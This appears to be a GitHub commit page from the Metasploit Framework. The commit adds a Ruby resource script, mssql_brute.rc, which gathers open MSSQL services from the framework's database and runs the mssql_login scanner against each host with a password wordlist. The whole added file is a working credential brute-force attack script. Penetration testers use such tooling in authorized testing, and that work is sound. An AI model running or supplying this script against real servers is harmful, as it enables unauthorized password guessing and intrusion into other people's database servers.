Skip to content

Commit 595c99a

Browse files
committed
Merge branch 'master' of github.com:carnal0wnage/metasploit-framework into carnal0wnage-master
2 parents 6d4abe9 + 328b740 commit 595c99a

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed

scripts/resource/mssql_brute.rc

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
<ruby>
2+
3+
hosts = []
4+
5+
begin
6+
framework.db.services.each do |service|
7+
if ( service.name =~ /mssql/i and service.state == 'open' and service.proto == 'tcp')
8+
hosts << {'ip' => service.host.address, 'port' => service.port}
9+
end
10+
end
11+
rescue ActiveRecord::ConnectionNotEstablished
12+
puts "DB not connected..."
13+
# Uncomment if you want auto-reconnect and retry (on really large scans the db connector can time out)
14+
# self.run_single('db_connect <creds>')
15+
# puts "trying again..."
16+
# retry
17+
end
18+
19+
self.run_single("use auxiliary/scanner/mssql/mssql_login")
20+
self.run_single('set PASS_FILE /opt/framework/data/wordlists/mssql.txt')
21+
#self.run_single('set STOP_ON_SUCCESS TRUE')
22+
hosts.each do |rhost|
23+
24+
self.run_single("set RHOSTS #{rhost['ip']}")
25+
self.run_single("set RPORT #{rhost['port']}")
26+
self.run_single('set BRUTEFORCE_SPEED 5')
27+
self.run_single('set BLANK_PASSWORDS false')
28+
self.run_single('set USER_AS_PASS false')
29+
self.run_single('run')
30+
sleep 1
31+
end
32+
</ruby>
33+

0 commit comments

Comments
 (0)